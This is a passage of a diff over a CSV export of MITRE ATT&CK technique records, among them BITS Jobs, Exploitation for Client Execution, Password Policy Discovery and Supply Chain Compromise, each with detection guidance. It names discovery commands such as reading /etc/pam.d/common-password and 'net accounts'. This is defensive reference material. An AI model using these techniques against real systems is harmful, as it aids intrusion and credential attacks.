'Symantec BITS May 2007'}, {'url': 'https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/', 'description': 'Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.', 'source_name': 'PaloAlto UBoatRAT Nov 2017'}, {'url': 'https://technet.microsoft.com/library/dd939934.aspx', 'description': 'Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.', 'source_name': 'Microsoft Issues with BITS July 2011'}, {'source_name': 'Elastic - Hunting for Persistence Part 1', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.2,False,https://attack.mitre.org/techniques/T1197,mitre-attack,T1197,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,BITS Jobs,"Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. +Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)",False,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1203', 'external_id': 'T1203'}]",1.2,attack-pattern,attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-10-15T19:01:34.932Z,Exploitation for Client Execution,"Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility. -The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) +Several types exist: -Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) +### Browser-based Exploitation -BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7,attack-pattern,"['defense-evasion', 'persistence']",2021-04-13T21:36:04.956Z,2018-04-18T17:59:24.739Z,"BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS) +Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed. -Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) +### Office Applications -Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Service: Service Metadata', 'Command: Command Execution']","['Brent Murphy, Elastic', 'David French, Elastic', 'Ricardo Dias', 'Red Canary']","['Firewall', 'Host forensic analysis']","['User', 'Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1217', 'external_id': 'T1217'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]",1.0,False,https://attack.mitre.org/techniques/T1217,mitre-attack,T1217,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Browser Bookmark Discovery,"Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. +Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run. -Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser. +### Common Third-party Applications + +Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",['execution'],https://attack.mitre.org/techniques/T1203,mitre-attack,T1203,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",False,,"['Linux', 'Windows', 'macOS']",False,,,['Remote exploitation for execution requires a remotely accessible service reachable over the network or other vector of access such as spearphishing or drive-by compromise.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1201', 'external_id': 'T1201'}, {'source_name': 'Superuser Linux Password Policies', 'description': 'Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.', 'url': 'https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu'}, {'source_name': 'Jamf User Password Policies', 'description': 'Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.', 'url': 'https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines'}, {'source_name': 'AWS GetPasswordPolicy', 'description': 'Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.', 'url': 'https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html'}]",1.3,attack-pattern,attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-07-26T14:11:39.499Z,Password Policy Discovery,"Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). + +Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). + +Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).",['discovery'],https://attack.mitre.org/techniques/T1201,mitre-attack,T1201,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima', 'Sudhanshu Chauhan, @Sudhanshu_C']","['User Account: User Account Metadata', 'Process: Process Creation', 'Command: Command Execution']",,Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.,False,['User'],"['Windows', 'Linux', 'macOS', 'IaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1195', 'external_id': 'T1195'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/437.html', 'external_id': 'CAPEC-437'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/438.html', 'external_id': 'CAPEC-438'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/439.html', 'external_id': 'CAPEC-439'}, {'source_name': 'IBM Storwize', 'description': 'IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.', 'url': 'https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E'}, {'source_name': 'Schneider Electric USB Malware', 'description': 'Schneider Electric. (2018, August 24). Security Notification – USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.', 'url': 'https://www.se.com/ww/en/download/document/SESN-2018-236-01/'}, {'source_name': 'Avast CCleaner3 2018', 'description': 'Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.', 'url': 'https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities'}, {'source_name': 'Microsoft Dofoil 2018', 'description': 'Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.', 'url': 'https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/'}, {'source_name': 'Command Five SK 2011', 'description': 'Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.', 'url': 'https://www.commandfive.com/papers/C5_APT_SKHack.pdf'}, {'source_name': 'Symantec Elderwood Sept 2012', 'description': ""O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."", 'url': 'https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf'}, {'source_name': 'Trendmicro NPM Compromise', 'description': 'Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.', 'url': 'https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets'}]",1.2,attack-pattern,attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-01-06T19:32:28.382Z,Supply Chain Compromise,"Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. + +Supply chain compromise can take place at any stage of the supply chain including: + +* Manipulation of development tools +* Manipulation of a development environment +* Manipulation of source code repositories (public or private) +* Manipulation of source code in open-source dependencies +* Manipulation of software update/distribution mechanisms +* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) +* Replacement of legitimate software with modified versions +* Sales of modified/counterfeit products to legitimate distributors +* Shipment interdiction + +While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)",['initial-access'],https://attack.mitre.org/techniques/T1195,mitre-attack,T1195,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Veeral Patel'],,,Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.,False,,"['Linux', 'Windows', 'macOS']",,CAPEC-439,https://capec.mitre.org/data/definitions/439.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1199', 'external_id': 'T1199'}, {'source_name': 'CISA IT Service Providers', 'description': 'CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.', 'url': 'https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers'}]",2.2,attack-pattern,attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-03-08T10:33:01.045Z,Trusted Relationship,"Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. -Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.",attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7,attack-pattern,['discovery'],2020-03-26T16:06:07.367Z,2018-04-18T17:59:24.739Z,"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). +Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)",['initial-access'],https://attack.mitre.org/techniques/T1199,mitre-attack,T1199,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Application Log: Application Log Content', 'Logon Session: Logon Session Metadata', 'Logon Session: Logon Session Creation']",,"Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.",False,,"['Windows', 'SaaS', 'IaaS', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218', 'external_id': 'T1218'}]",2.1,attack-pattern,attack-pattern--457c7820-d331-465a-915e-42f85500ccc4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-10-16T00:13:19.412Z,Signed Binary Proxy Execution,Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.,['defense-evasion'],https://attack.mitre.org/techniques/T1218,mitre-attack,T1218,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nishan Maharjan, @loki248', 'Hans Christoffer Gaardløs', 'Praetorian']","['Process: Process Creation', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Connection Creation']","['Anti-virus', 'Application control', 'Digital Certificate Validation']","Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. -System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.","['Process: Process Creation', 'Command: Command Execution', 'File: File Access']",['Mike Kemmerer'],,['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1213', 'url': 'https://attack.mitre.org/techniques/T1213'}, {'url': 'https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2', 'description': 'Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', 'source_name': 'Microsoft SharePoint Logging'}, {'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'source_name': 'Atlassian Confluence Logging'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",3.1,False,https://attack.mitre.org/techniques/T1213,mitre-attack,T1213,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data from Information Repositories,"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. +Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.",False,"['User', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1204', 'external_id': 'T1204'}]",1.4,attack-pattern,attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-08-26T16:42:35.936Z,User Execution,"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). + +While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",['execution'],https://attack.mitre.org/techniques/T1204,mitre-attack,T1204,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oleg Skulkin, Group-IB']","['Application Log: Application Log Content', 'Instance: Instance Start', 'Instance: Instance Creation', 'Image: Image Creation', 'Command: Command Execution', 'Container: Container Start', 'Container: Container Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'File: File Creation', 'Process: Process Creation']",,"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. + +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",False,['User'],"['Linux', 'Windows', 'macOS', 'IaaS', 'Containers']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1213', 'external_id': 'T1213'}, {'source_name': 'Microsoft SharePoint Logging', 'description': 'Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.', 'url': 'https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2'}, {'source_name': 'Sharepoint Sharing Events', 'description': 'Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events'}, {'source_name': 'Atlassian Confluence Logging', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html'}]",3.2,attack-pattern,attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-04-18T17:59:24.739Z,2021-10-16T01:35:43.938Z,Data from Information Repositories,"Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: @@ -2888,82 +3154,49 @@ The following is a brief list of example information that may hold potential val * Source code snippets * Links to network shares and other internal resources -Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.",attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416,attack-pattern,['collection'],2021-04-14T14:16:12.151Z,2018-04-18T17:59:24.739Z,"As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. - -The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.","['Logon Session: Logon Session Creation', 'Application Log: Application Log Content']","['Praetorian', 'Milos Stojadinovic']",,['User'],"['Linux', 'Windows', 'macOS', 'SaaS', 'Office 365', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1212', 'url': 'https://attack.mitre.org/techniques/T1212'}, {'url': 'https://technet.microsoft.com/en-us/library/security/ms14-068.aspx', 'description': 'Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.', 'source_name': 'Technet MS14-068'}, {'url': 'https://adsecurity.org/?p=1515', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'source_name': 'ADSecurity Detecting Forged Tickets'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,False,https://attack.mitre.org/techniques/T1212,mitre-attack,T1212,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation for Credential Access,"Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36,attack-pattern,['credential-access'],2020-03-25T18:51:01.070Z,2018-04-18T17:59:24.739Z,"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",,"['John Lambert, Microsoft Threat Intelligence Center']",,['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1211', 'external_id': 'T1211'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1211,mitre-attack,T1211,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploitation for Defense Evasion,"Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. - -Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.",attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b,attack-pattern,['defense-evasion'],2020-03-29T20:00:46.900Z,2018-04-18T17:59:24.739Z,"Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.",,"['John Lambert, Microsoft Threat Intelligence Center']","['Anti-virus', 'System access controls']",['User'],"['Linux', 'Windows', 'macOS']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1200', 'url': 'https://attack.mitre.org/techniques/T1200'}, {'external_id': 'CAPEC-440', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/440.html'}, {'url': 'https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html', 'description': 'Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.', 'source_name': 'Ossmann Star Feb 2011'}, {'url': 'https://www.youtube.com/watch?v=lDvf4ScWbcQ', 'description': 'Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.', 'source_name': 'Aleks Weapons Nov 2015'}, {'url': 'https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained', 'description': 'Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained. Retrieved March 30, 2018.', 'source_name': 'Hak5 RubberDuck Dec 2016'}, {'url': 'https://www.youtube.com/watch?v=fXthwl6ShOg', 'description': 'Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.', 'source_name': 'Frisk DMA August 2016'}, {'url': 'https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/', 'description': 'Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.', 'source_name': 'McMillan Pwn March 2012'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 